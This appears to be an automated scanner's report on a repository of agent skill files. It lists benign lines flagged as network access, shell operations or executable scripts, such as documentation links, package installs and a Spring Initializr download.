| Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus - Network accessline 112
| Ubuntu 24.04 | `mcr.microsoft.com/dotnet/sdk:8.0-noble` or `9.0-noble` | `mcr.microsoft.com/dotnet/aspnet:8.0-noble` or `9.0-noble` | Use `apt-get` | | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.micros - Network accessline 113
| Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.microsoft.com/dotnet/aspnet:8.0-alpine` or `9.0-alpine` | `apk update && apk add --no-cache curl ca-certificates` | - Network accessline 115
| Azure Linux / Mariner | Standard SDK image or approved custom image | `mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0` or `9.0-azurelinux3.0` | `tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all` | - Network accessline 234
- [Microsoft .NET SDK image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md) - Network accessline 235
- [Microsoft ASP.NET Core runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md) - Network accessline 236
- [Microsoft .NET runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md)
harness/claude-code/skills/contract-testing/SKILL.md
harness/claude-code/skills/conventional-branch/SKILL.md
harness/claude-code/skills/convert-excel-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/skills/convert-excel-to-md/scripts/convert_excel_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 64
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 65
_MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 66
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 67
_A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"
harness/claude-code/skills/convert-pdf-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/convert-plaintext-to-md/SKILL.md
- Network accessline 166
- [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) - Network accessline 167
- [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/) - Network accessline 168
- [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)
harness/claude-code/skills/convert-word-to-md/references/setup.md
- Dangerous shell operationline 16
- Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`
harness/claude-code/skills/convert-word-to-md/scripts/convert_word_to_md.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 53
_W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 54
_R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 55
_REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
harness/claude-code/skills/copilot-cli-quickstart/SKILL.md
- Network accessline 164
> Getting started is easy! Here's how: >- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 165
>- **Already have GitHub CLI?** `gh copilot` (built-in, no install needed) >- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` >- **Requires:** A GitHub Copilot subscrip - Network accessline 166
>- **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot` - Network accessline 167
>- **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot)) - Network accessline 197
- **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y
harness/claude-code/skills/copilot-cli-quickstart/references/extended-guide.md
- Network accessline 465
• /model — try different AI models • /mcp — extend with MCP servers • https://docs.github.com/copilot — official docs - Network accessline 467
• https://docs.github.com/copilot — official docs - Network accessline 485
• Try the Developer track for deeper skills • /help — see ALL available commands • https://docs.github.com/copilot — official docs - Network accessline 487
• https://docs.github.com/copilot — official docs - Network accessline 496
1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy - Network accessline 545
### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Network accessline 546
- Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands - Network accessline 547
- Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
harness/claude-code/skills/copilot-pr-autopilot/SKILL.md
- Network accessline 76
| Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf - Network accessline 77
| --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message - Network accessline 78
| `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. | - Network accessline 135
- [GitHub CLI](https://cli.github.com)
harness/claude-code/skills/copilot-pr-autopilot/scripts/01-request-review.ps1
harness/claude-code/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/copilot-pr-autopilot/scripts/09-review-round.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/copilot-pr-autopilot/scripts/_lib.ps1
- Executable scriptline 1
Executable file - Network accessline 47
- winget install --id GitHub.cli (Windows) - brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 48
- brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - https://cli.github.com/ (universal installer + download) - Dangerous shell operationline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 50
- https://cli.github.com/ (universal installer + download)
harness/claude-code/skills/copilot-sdk/SKILL.md
harness/claude-code/skills/copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/claude-code/skills/copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/create-agentsmd/SKILL.md
- Network accessline 19
- "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - Network accessline 20
- "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents." - Network accessline 21
- "Make this repo follow https://agents.md/." - Network accessline 26
- The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 27
- Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 194
- [AGENTS.md](https://agents.md/.)
harness/claude-code/skills/create-implementation-plan/SKILL.md
- Network accessline 62
The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status - Network accessline 79

harness/claude-code/skills/create-llms/SKILL.md
- Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or a - Network accessline 5
to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. metadata: - Network accessline 6
document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. - Network accessline 27
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 29
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 144
- [llms.txt specification](https://llmstxt.org/) - Network accessline 145
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/skills/create-readme/SKILL.md
- Network accessline 58
| Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 59
| --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server - Network accessline 60
| `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 61
| `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. | - Network accessline 62
| `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. | - Network accessline 63
| `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. | - Network accessline 64
| `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. | - Network accessline 138
- [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md) - Network accessline 139
- [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md) - Network accessline 140
- [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md) - Network accessline 141
- [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md) - Network accessline 142
- [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)
harness/claude-code/skills/create-spring-boot-java-project/SKILL.md
- Network accessline 41
curl https://start.spring.io/starter.zip -d artifactId=${input:projectName:demo-java} -d bootVersion=3.4.5 -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers - Dangerous shell operationline 48
rm -f starter.zip - Dangerous shell operationline 112
docker-compose rm -sf - Dangerous shell operationline 115
The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.
harness/claude-code/skills/create-spring-boot-kotlin-project/SKILL.md
- Network accessline 31
1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Network accessline 32
2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Dangerous shell operationline 34
4. Remove `starter.zip` after extraction with `rm -f starter.zip`. - Network accessline 43
curl https://start.spring.io/starter.zip \ - Dangerous shell operationline 54
rm -f starter.zip - Dangerous shell operationline 120
docker-compose rm -sf - Dangerous shell operationline 133
The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and
harness/claude-code/skills/create-tldr-page/SKILL.md
- Network accessline 18
- "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 20
- "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 74
/create-tldr-page https://some-command.io/docs/manual.html - Network accessline 98
1. https://gnu.org/software/manual/html_node/some-command.html - Network accessline 99
2. https://some.org/serve/some.man.html#some-command - Network accessline 100
3. https://some-command.io/docs/cli/latest/manual - Network accessline 101
4. https://some-command.io/docs/quickstart - Network accessline 113
> Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>. - Network accessline 115
> More information: <https://url-to-upstream.tld>. - Network accessline 141
* [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md) - Network accessline 142
* [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md) - Network accessline 143
* [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md) - Network accessline 150
/create-tldr-page #fetch https://git-scm.com/docs/git git - Network accessline 158
> Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>. - Network accessline 160
> More information: <https://git-scm.com/docs/git>. - Network accessline 168
`git clone {{https://example.com/repo.git}}` - Network accessline 218
- Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}` - Example: `{{path/to/file}}` for file paths - Example: `{{https://example.com}}` for URLs - Network accessline 220
- Example: `{{https://example.com}}` for URLs - Network accessline 254
- https://git-scm.com/docs/git - Network accessline 255
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md - Network accessline 256
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md - Network accessline 257
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md
harness/claude-code/skills/csharp-mstest/SKILL.md
- Network accessline 81
| Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev - Network accessline 83
| Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. | - Network accessline 128
- [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) - Network accessline 129
- [Example GitHub work item URL](https://github.com/owner/repo/issues/42)
harness/claude-code/skills/daily-focus-board/SKILL.md
- Network accessline 66
1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b - Network accessline 67
2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr - Network accessline 68
3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`. - Network accessline 69
4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen - Network accessline 116
**Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` - Network accessline 117
**Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>` - Network accessline 118
**Open URL:** `http://localhost:8799/focus-board.html`
harness/claude-code/skills/daily-focus-board/references/neurodivergent-design.md
- Network accessline 50
- **Executive function — task initiation, activation energy, time management, working memory** — CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f - Network accessline 51
CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - *Executive Function Issues and ADHD* (Brown & Barkley models) — - Network accessline 52
- *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - Network accessline 53
- *Executive Function Issues and ADHD* (Brown & Barkley models) — https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise - Network accessline 54
https://chadd.org/attention-article/executive-function-issues-and-adhd/ - Network accessline 55
- **Body doubling** — focus improving in the presence of a partner; the board's core premise ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 56
("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the - Network accessline 57
https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 59
`prefers-reduced-motion` setting: - MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 60
- MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — - Network accessline 61
https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 62
- W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious - Network accessline 63
https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - Network accessline 64
- **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 65
Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Network accessline 66
https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 67
- **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Todoist, *The Eisenhower Matrix* — https://todoist - Network accessline 68
- Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Network accessline 69
- Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix - Network accessline 71
self-compassion.org — https://self-compassion.org/
harness/claude-code/skills/daily-focus-board/references/tutorial.md
- Network accessline 22
1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives you an `http://localhost:…/…html` URL. - Network accessline 23
you an `http://localhost:…/…html` URL. - Network accessline 34
> localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking
harness/claude-code/skills/daily-focus-board/scripts/serve-board.ps1
- Executable scriptline 1
Executable file - Network accessline 18
Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File" - Network accessline 19
} $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url" - Network accessline 20
$url = "http://localhost:$Port/$File"
harness/claude-code/skills/data-breach-blast-radius/SKILL.md
- Network accessline 27
> **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the - Network accessline 324
- [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)
harness/claude-code/skills/data-breach-blast-radius/references/SOURCES.md
- Network accessline 11
### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 12
- **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica - Network accessline 13
- **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 17
### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 18
- **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se - Network accessline 19
- **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 23
### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi - Network accessline 24
- **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide - Network accessline 25
- **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - Network accessline 33
**Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 34
**URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 48
| €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea - Network accessline 49
| €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | - Network accessline 50
| €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | - Network accessline 51
| €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen - Network accessline 52
| €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html | - Network accessline 60
**Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 61
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 68
**Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 69
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 80
**Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 81
**URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 83
**Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 84
**URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 92
**URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 96
**Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 97
**URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 103
**Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 104
**URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 114
**Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 115
**URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 123
**Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach - Network accessline 124
**URL:** https://www.ibm.com/reports/data-breach - Network accessline 147
| Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 148
|-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 149
| GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 150
| UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 151
| HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 | - Network accessline 152
| CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.82 | - Network accessline 153
| Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 | - Network accessline 154
| Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches | - Network accessline 155
| LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br | - Network accessline 156
| Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ | - Network accessline 157
| PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ | - Network accessline 165
| Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 166
|-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/ - Network accessline 167
| Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 168
| Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ | - Network accessline 169
| Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ | - Network accessline 170
| Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |
harness/claude-code/skills/data-breach-blast-radius/references/blast-radius-calculator.md
- Network accessline 237
